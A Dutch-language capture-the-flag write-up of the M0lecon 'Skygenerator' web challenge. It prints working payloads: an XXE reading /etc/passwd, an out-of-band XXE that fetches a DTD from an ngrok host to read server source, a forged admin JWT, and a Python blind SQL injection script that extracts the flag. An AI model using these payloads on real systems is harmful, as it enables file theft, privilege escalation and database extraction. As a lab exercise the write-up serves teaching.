M0lecon – Skygenerator

M0lecon – Skygenerator

Dit is een write-up van de M0lecon ctf – Skygenerator web challenge.

Challenge accepted | El pensadero de Yai

BIj het openen van de challenge was er een website te zien waar de gebruiker kon inloggen of registeren,

Ik begon met het aanmaken van een account waarna ik de volgende pagina kreeg te zien.

Het was mogelijk om een XML bestand te kunnen uploaden, ik dacht gelijk aan een XXE attack. Voordat ik verder ga met het beschrijven van mijn aanpak en hoe ik het oplosten beschrijf ik kort wat een XXE aanval nou precies is.

Wat is een XXE attack?

XXE aanval of ook wel genoemd XML External Entity injection. XXE injectie is eigenlijk niks anders dan het verstoren van het verwerken van de XML data van een applicatie, Voorbeeld: Jij krijgt je salaris na een maand hard te hebben gewerkt maar bij het uitrollen van de salarissen wordt er nog snel even een cijfer aangepast waardoor het niet klopt en er dus mee geknoeid is. XXE injectie is ongeveer hetzelfde alleen heeft dit betrekking op XML bestanden en een applicatie die deze bestanden verwerkt.

XXE injection

Okee wij gaan weer verder met de challenge. Het was inderdaad mogelijk om /etc/passwd te kunnen lezen met behulp van een XXE injectie. Hierbij verstuurde uploade ik een XML bestand met als inhoud het volgende.

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<sky>
    <star x="50" y="80">&test;</star>
</sky>

Zoals te zien is in de gemarkeerde tekst zie je dat het succesvol was. Zie onderstaande afbeelding.

Okee, het is nu dus bevestigd dat er een XXE Injectie speelt. Nu gingen wij wat meer rondkijken voor informatie waar wij wat aan hadden. Ik begon met kijken in /var/www/html/ waar ik een map zag genaamd skygenerator. Vervolgens dieper in deze map gezocht waar ik een bestand vondt genaamd config.php.

Ik kon met de huidige XXE injectie niet de inhoud van dit bestand bekijken hiervoor moest ik gebruik maken van een tool genaamd ngrok. (https://ngrok.com/)

Ngrok is een tool dat ervoor kan zorgen dat er een port wordt open gezet van buiten naar binnen dit betekent dat wij bepaalde payloads kunnen hosten zodat de server de bestanden van mijn machine kan afhalen. Om ngrok op te zetten moet het volgende gebeuren:

  1. Download the zip bestand van hun website
  2. unzip het zip bestand (unzip zip_file)
  3. ./ngrok authtoken TOKEN (you will get one after making a user account)
  4. ./ngrok http 80
  5. python3 -m http.server 80

Nu hebben wij een webserver up en running.

NU moeten wij een DTD bestand maken, DTD staat voor Document Type Definition. Ons DTD bestand ziet er als volgt uit.

<!ENTITY % file SYSTEM "file:///var/www/html/skygenerator/vendor/autoload.php">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> 

Bovenstaande DTD code doet het volgende, we maken een variable file met als waarde (SYSTEM file). in de DTD verklaren we de externe entiteit genaamd file met behulp van de SYSTEM-instructie, die we kunnen gebruiken om bestanden uit het systeem op te halen of verzoeken uit te voeren. (file:///var/www/html/etc/passwd) naast file:/// is het ook mogelijk om ftp of http ervoor te plaatsen. Voor XML is dit de manier om te zeggen dat dan een externe entiteit is en niet een interne. Daarna maken wij een tweede variable genaamd start met het begin van de code die nodig is vervolgens derde variable end met de afsluiting. De laatste lijn genaamd all die maakt een entity aan en vervolgens voegt hij de drie andere waardes aan elkaar toe waardoor de payload compleet is.

Nu moeten wij dit bestand hosten op een webserver, maar wacht eens even dat hebben wij zojuist gemaakt met ngrok. Het enige wat wij moeten doen is ervoor zorgen dat het bestand in dezelfde map staat als waar de laatste commando was uitgevoerd genaamd python3 -m http.server 80.

Nu moeten wij de XML file maken, deze bevat de volgende code.

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://2ad0a748.ngrok.io/test.dtd"> %dtd; %all;]> 
<sky>
    <star x="50" y="80">&fileContents;</star>
</sky>

Bovenstaande XML is eigenlijk hetzelfde als aan het begin toen wij de XXE uit gingen proberen, het spreekt voor zichzelf wat er hier gebeurd. Nu kunnen wij de XML bestand uploaden en kijken of wij inderdaad de inhoud van bestanden kunnen lezen. Zoals hieronder te zien is was dit inderdaad het geval. Mooi!

Wat we hier hebben gevonden is de key voor de JWT cookie die met elk reqeust wordt verstuurd. Nu kunnen wij deze cookie aanpassen en op deze manier de admin_dashboard.php benaderen. Want de code van admin_dashboard bevatten de volgende code.

Zoals te zien is in bovenstaande afbeelding wordt er gecontroleerd of de role == admin en zo niet dan wordt de gebruiker doorgestuurd naar /dashboard. Om toegang te krijgen tot admin_dashboard moeten wij dus de JWT cookie aanpassen en de role naar admin aanpassen zoals hieronder wordt gedemonstreerd.

Op bovenstaande afbeelding wordt een JWT token gedemonstreerd. Zoals te zien is in de afbeelding te zien is, is er een role die gelijk staat aan user. Deze moet worden aangepast naar admin om de code te passeren. Om dit te doen hebben wij de eerder gevonden key nodig en met behulp van de volgende website (https://jwt.io/) pas ik de cookie aan.

Nadat we dit hebben aangepast kunnen we de cookie kopieren en vervangen met de cookie die automatisch wordt gegeneerd door de applicatie.

Zodra de cookie is aangepast kunnen wij de admin_dashboard benaderen. Bij het verder bekijken van de code.

Zien wij dat er SQL injectie mogelijkheden zijn, dit komt doordat de $base_query niet gebruik maakt van gesaniteerde queries maar de variable user_id in de qeury stopt. Hierdoor kunnen wij de user_id aanpassen en SQL injectie toepassen. Zoals bijvoorbeeld dit:

"1=(SELECT 1 FROM flag WHERE hex(flag) LIKE 'a%') -- -

Hierboven is een voorbeeld van sql injectie, bij de invoer gebeurt er het volgende:

SELECT filename FROM skies WHERE user_id="1=(SELECT 1 FROM flag WHERE hex(flag) LIKE 'a%')-- -

Terwijl de applicatie het volgende verwacht

SELECT filename FROM skies WHERE user_id=1

De functie hex () interpreteert het argument als een BLOB en retourneert een tekenreeks die de hexadecimale weergave in hoofdletters is van de inhoud van die blob. Door de sql injectie in te voeren die hier boven wordt getoond kunnen wij de flag uit de database halen.

Om dit proces te versnellen heb ik een python script gemaakt en hiervoor gebruikt.

import requests
import string


def send_query(query):
    query = query.replace(" ", "\t")
    r = requests.post(
                     "https://challs.m0lecon.it:8000/admin_dashboard",
                     cookies={"AUTH_BEARER_default" : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1OTA1MDY2NzAsImp0aSI6IkRcL0tVUkhPRHRFT0JNZW1hZ0VBcHBzaXlYY09GYXFudjB1cjRvWmIzOEtvPSIsImlzcyI6InNreWdlbmVyYXRvciIsIm5iZiI6MTU5MDUwNjY3MCwiZXhwIjoxNTkwNTEwMjcwLCJkYXRhIjoiaWR8aTo2Mztyb2xlfHM6NTpcImFkbWluXCI7In0.XpyW8aZNtac_754xfTCEDZOX3aH-cMUl9yYixLo7P1HzQTX_Tq7Wh8ooZ2neEIk9yTSpFk3DfZP1kzCYqB7I5Q"},
                     data = {"user_id" : 63, query: 15})
    print(query)
    return r.text


found = ""

while len(found)<100:
    print(found)
    for x in "abcdef" + string.digits:
        print(x)
        exploit = send_query("1=(SELECT 1 FROM flag WHERE hex(flag) LIKE '{}%') -- -".format(found+x))
        if "filesize()" in exploit:
            found+=x
            break

De functie send_query verstuurt uiteindelijk een POST request naar de web challenge met de JWT cookie en de user_id waar achter de user_id de sql qeury komt. Vervolgens print deze functie r.text uit dit print niks anders dan de HTML pagina.

Daarna maken wij een lege variable genaamd found waar wij alle gevonden characters in vastleggen. Vervolgens maken wij een loop die controleert of de lengte van found kleiner is dan 100. Daarna lopen wij erdoorheen door a b c d e f 0 1 2 3 4 5 6 7 8 9, dit omdex hex bestaat uit 16 karakters. Daarna maken wij een variable exploit met de sql qeury die wij injecteren als waarde.

The if filesize() doet niks anders dan de groote van de variable exploit controleren, als dit resulteert in True dan voegt hij de gevonden character toe aan de found variable. Dit wordt net zolang herhaalt totdat de flag is gevonden.

Bedankt voor het lezen en tot de volgende keer!

Mystery Solved - Session 16 - krakenships

Sources:

https://fibonhack.github.io/web/sky-generator/

https://jwt.io/

https://github.com/byjg/jwt-session

Please share and spread
4.6 5 stemmen
Artikelbeoordeling
Abonneer
Laat het weten als er
guest
0 Reacties
Inline feedbacks
Bekijk alle reacties
NederlandsEnglish
0
Zou graag je gedachten willen weten, s.v.p. laat een reactie achter.x
()
x